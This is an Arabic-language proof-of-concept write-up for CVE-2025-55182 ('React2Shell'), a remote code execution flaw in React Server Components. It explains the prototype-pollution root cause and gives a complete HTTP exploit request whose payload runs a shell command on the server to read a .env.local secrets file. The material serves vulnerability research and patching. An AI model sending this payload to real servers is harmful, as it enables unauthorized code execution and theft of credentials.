
يوفر هذا المستودع إثبات مفهوم لـ CVE-2025-55182 (React2Shell)، وهي ثغرة تنفيذ تعليمات برمجية عن بُعد في React Server Components. يوضح كيفية عمل الاستغلال، بما في ذلك الحمولة والتأثير.
CVE-2025-55182، المعروف أيضًا باسم React2Shell، هو ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) تؤثر على مكونات خادم React. تمكن هذه الثغرة المهاجمين غير المصادق عليهم من تنفيذ تعليمات برمجية عشوائية على الخوادم الضعيفة من خلال استغلال مشكلة إلغاء التسلسل غير الآمن في بروتوكول Flight الخاص بـ React.
نظرًا لـ درجة CVSS البالغة 10.0، فإن هذه الثغرة شديدة الخطورة وتتطلب اهتمامًا فوريًا. في هذا المنشور، سأشرح تفاصيل الثغرة وآلية الاستغلال، وسأقدم عرضًا توضيحيًا لإثبات المفهوم (PoC). دعونا نتعمق.
الإصدارات التالية من مكونات خادم React والحزم ذات الصلة معرضة للخطر:
React Server Components: 19.0.0, 19.1.0, 19.1.1, 19.2.0
الحزم المتأثرة:
react-server-dom-parcel
react-server-dom-turbopack
react-server-dom-webpack
React.js هي واحدة من أشهر مكتبات JavaScript لبناء واجهات المستخدم، خاصة في سياق التطبيقات ذات الصفحة الواحدة (SPAs). تتيح للمطورين إنشاء تجارب مستخدم ديناميكية وتفاعلية.
مكونات خادم React (RSC) هي ميزة تجريبية تسمح بتقديم بعض أجزاء تطبيق React على الخادم بدلاً من العميل. وهذا يقلل من كمية JavaScript المطلوبة على جانب العميل ويحسن الأداء، خاصة في التطبيقات الكبيرة.
ومع ذلك، فإن RSC تقدم تعقيدات جديدة، خاصة في كيفية تبادل البيانات بين الخادم والعميل. CVE-2025-55182 تستغل إحدى هذه المشكلات المتعلقة بـ بروتوكول Flight، المستخدم في RSC لنقل البيانات بين الخادم والعميل.
تنبع CVE-2025-55182 من إلغاء التسلسل غير الآمن في بروتوكول Flight الخاص بـ React. إلغاء التسلسل هو عملية تحويل البيانات المسلسلة (عادةً JSON) إلى كائن في الذاكرة. يستخدم React هذه العملية للتعامل مع البيانات المتبادلة بين الخادم والعميل أثناء التقديم من جانب الخادم.
ومع ذلك، فإن تنفيذ React لعملية إلغاء التسلسل غير آمن. على وجه التحديد، يستخدم React تدوين الأقواس للوصول إلى خصائص الكائنات (على سبيل المثال، moduleExports[metadata[2]])، مما يسمح للمهاجمين بالتلاعب بـ سلسلة النموذج الأولي للكائنات في JavaScript. يؤدي هذا إلى تلوث النموذج الأولي ويفتح الباب لتعديل خصائص الكائنات بطرق غير متوقعة، مما يسمح للمهاجمين باستغلال منطق إلغاء التسلسل.
يكمن جذر الثغرة في كيفية تعامل React مع حمولات بروتوكول Flight. استخدام تدوين الأقواس للوصول إلى الخصائص يسمح للمهاجمين بعبور سلسلة النموذج الأولي، مما يمنحهم الوصول إلى خصائص لا يجب أن تكون قابلة للوصول عادةً – مثل constructor. من خلال التلاعب بهذه الخاصية، يمكن للمهاجمين الوصول إلى منشئ Function العالمي وتنفيذ تعليمات برمجية JavaScript عشوائية على الخادم.
يعمل الاستغلال عن طريق إرسال حمولة مصممة خصيصًا إلى الخادم، والتي تتلاعب بمنطق إلغاء التسلسل في بروتوكول Flight. من خلال الجمع بين تلوث النموذج الأولي وإلغاء التسلسل غير الآمن، يمكن للمهاجم التحكم في الخادم وتنفيذ تعليمات برمجية عشوائية.
المكونات الرئيسية للهجوم تشمل:
تلوث النموذج الأولي: يتلاعب المهاجم بسلسلة النموذج الأولي لكائن لحقن خصائص جديدة، بما في ذلك خصائص constructor و Function.
تنفيذ الحمولة: بمجرد وصول المهاجم إلى منشئ Function، يمكنه تنفيذ تعليمات برمجية JavaScript عشوائية، مثل قراءة الملفات أو تنفيذ أوامر النظام.
لاختبار الاستغلال، ستحتاج إلى بيئة React ضعيفة. إليك طريقة إعدادها:
npx [email protected] poc-react2shell cd poc-react2shell
بدلاً من ذلك، يمكنك استخدام مستودع GitHub مهيأ مسبقًا يحتوي بالفعل على الإعداد الضعيف.
إنشاء ملف بيئة اختبار
في الدليل الجذر لمشروعك، أنشئ ملف .env.local يحتوي على بيانات حساسة، مثل مفاتيح API. سيهاجم المهاجم هذا الملف في إثبات المفهوم:
SECRET_API_KEY=XXXXXXXXXXXXXXXXXXXXXXXXXXXXX
تشغيل خادم التطوير
قم بتشغيل خادم التطوير:
npm run dev
يجب أن يعمل الخادم الضعيف الآن على http://localhost:3000.
بمجرد أن تصبح بيئتك جاهزة، يمكنك إرسال الحمولة الخبيثة لتشغيل الاستغلال. هنا تأتي فائدة Burp Suite أو أي أداة وكيل HTTP أخرى.
إرسال الحمولة الخبيثة
افتح Burp Suite وانتقل إلى علامة التبويب Repeater. عيّن عنوان URL الهدف إلى http://localhost:3000/ وأرسل الحمولة الخبيثة التالية:
POST / HTTP/1.1 Host: localhost:3000 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0 Next-Action: x X-Nextjs-Request-Id: b5dce965 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Length: 752 ------WebKitFormBoundaryx8jO2oVc6SWP3Sad Content-Disposition: form-data; name="0" { "then": "$1:__proto__:then", "status": "resolved_model", "reason": -1, "value": "{\"then\":\"$B1337\"}", "_response": { "_prefix": "var res=process.mainModule.require('child_process').execSync('cat .env.local',{'timeout':5000}).toString().trim();;throw Object.assign(new Error('NEXT_REDIRECT'), {digest:`${res}`});", "_chunks": "$Q2", "_formData": { "get": "$1:constructor:constructor" } } } ------WebKitFormBoundaryx8jO2oVc6SWP3Sad
تحليل الرد
بعد إرسال الطلب، إذا نجح الاستغلال، سيرد الخادم بمحتويات ملف .env.local الخاص بك (أو أي بيانات حساسة في متغيرات البيئة). هذا يؤكد وصول المهاجم إلى البيانات السرية.

Host: يحدد الخادم الهدف (localhost:3000).
User-Agent: يحدد العميل الذي يقوم بالطلب. السلسلة عادة ما تكون من متصفح، ولكن هنا قد تكون مصممة لإخفاء الهجوم.
Next-Action: جزء من معالجة Next.js على الأرجح، قد يربك الخادم أو يتفاعل مع عملية إلغاء التسلسل.
X-Nextjs-Request-Id: معرف طلب فريد للتتبع وتصحيح الأخطاء في Next.js.
Content-Type: بيانات متعددة الأجزاء (multipart form-data)، تُستخدم للبيانات المنظمة مثل JSON أو تحميل الملفات.
Content-Length: يشير إلى طول جسم الطلب.
الحقل 0: يحتوي على الحمولة التي تؤدي إلى تلوث النموذج الأولي. يعدل النموذج الأولي للكائن، ويضيف خاصية then جديدة، ويتضمن كائن _response خبيث. يقوم _prefix بتشغيل أمر child_process لقراءة ملف .env.local.
الحقل 1: يشير إلى الحقل 0 لنشر الهجوم.
الحقل 2: مصفوفة فارغة، لضمان بقاء بنية الحمولة سليمة.
تُمكّن ثغرة CVE-2025-55182 المهاجمين من:
تنفيذ تعليمات برمجية عشوائية على الخادم.
قراءة الملفات الحساسة، مثل مفاتيح API و ملفات التكوين.
إنشاء صدف عكسية، مما قد يمنح السيطرة الكاملة على الخادم.
تسريب البيانات الحساسة من الخادم.
CVE-2025-55182 (React2Shell) هي ثغرة حرجة في مكونات خادم React تسمح للمهاجمين غير المصادق عليهم بتنفيذ تعليمات برمجية عشوائية على الخوادم الضعيفة. من خلال استغلال إلغاء التسلسل غير الآمن وتلوث النموذج الأولي، يمكن للمهاجمين الحصول على السيطرة الكاملة على الخادم، وقراءة البيانات الحساسة، وتنفيذ أوامر ضارة.
إذا كنت تستخدم مكونات خادم React، فمن الضروري التحديث إلى أحدث الإصدارات المصححة للتخفيف من هذه الثغرة. الالتزام بـ أفضل ممارسات الأمان، مثل التحقق من صحة المدخلات والتعامل السليم مع إلغاء التسلسل، أمر أساسي لمنع الثغرات المماثلة.
إثبات المفهوم هذا مخصص للأغراض التعليمية والبحثية فقط. لا تحاول استغلال أو اختبار الثغرات على أي نظام دون الحصول على موافقة كتابية صريحة من مالك النظام. قد يكون الاختبار غير المصرح به غير قانوني وغير أخلاقي. التزم دائمًا بالممارسات القانونية والمسؤولة في الأمن السيبراني.